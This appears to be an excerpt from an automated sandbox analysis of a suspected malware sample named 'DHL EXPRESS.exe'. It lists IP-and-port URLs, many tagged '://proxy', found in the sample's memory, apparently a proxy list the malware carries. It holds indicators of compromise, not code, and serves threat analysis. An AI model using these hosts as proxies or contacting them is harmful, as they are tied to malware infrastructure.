Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.41.21:7654
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.41.21:7654://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.78.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.78.75:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.78.75:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.78.76:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.78.76:999://proxyp
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.226:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.226:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.228:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.228:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.224.247.141:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.224.247.141:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.39.27.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.39.27.225:1994
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.39.27.225:1994://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.131.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.131.122:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.131.122:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.194.28:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB334000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.169.35:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.169.35:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.169.37:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.169.37:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD9C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.81.195:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.83.25:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.83.25:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.11.217:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.11.217:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.13.91:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.13.91:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.19.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.19.248:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.19.248:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.19.249:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.19.249:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.22.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.22.228:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.22.228:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.73.73:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.73.73:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.74.78:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.74.78:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.85.45:998
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.85.45:998://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.95.32:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.95.32:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.140.244.163:8118
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.140.244.163:8118://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.153.238:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.153.238:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8DF000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.159.115:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.159.115:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.229.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.229.165:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.229.165:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.129.70:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.129.70:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.72.203.255
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.72.203.255://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.72.203.255:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.78.42.112:83
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.100.14.134:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.100.14.134:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.254.8:4216
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.254.8:4216://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.179.187.16:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.179.187.16:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC5DA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.215.11:8443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.215.11:8443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC66F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.85.26:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC6A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.85.26:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB558000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.238.163.8:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.238.163.8:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.184.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.184.48:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.184.48:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.212.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.212.167:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.212.167:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.212.184:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.212.184:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3FB000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.231.188:34599
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.231.188:34599://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.37.94:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.88.37.94:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.117.134:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.117.134:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.41.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.41.224:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.41.224:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.79.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.79.25:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.79.25:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC410000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.81.78:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC41C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.81.78:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.9.20:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.9.20:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.9.82:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.89.9.82:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.169.154.119
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.170.248.5:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.170.248.5:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.170.249.65:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.170.249.65:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.14:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.14:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.17:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.17:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.25:15291
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.25:15291://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.26:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.26:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.28:15294
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.28:15294://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.28:15294P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.3:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.3:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.5:15303
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.178.172.5:15303://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.194:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.194:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.206:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.206:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AACE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.210:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.210:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.220:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.181.217.220:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.185.105
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.185.105.105:4481
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.185.105.105:4481://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.22.0.132://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.22.0.132:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.72.36.89:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.95.220.42:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://184.95.220.42:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.101.16.52
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.101.16.52://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.101.16.52:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.103.101
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.103.101.39:10051
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.103.101.39:10051://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.108.141.114:8080://proxyP
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.108.141.19:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.108.141.19:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABA3D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB323000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.109.184.150:56067
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABA63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.109.184.150:56067://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.123.101.174:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.123.101.174:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.123.143.247:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.123.143.247:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AADEC000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.123.143.251:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AADEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.123.143.251:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.128.153.10:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.128.153.10:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC511000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:14462
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:14462://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:26777
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:26777://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.130.219
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.130.219.10:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.130.219.10:4153://proxy
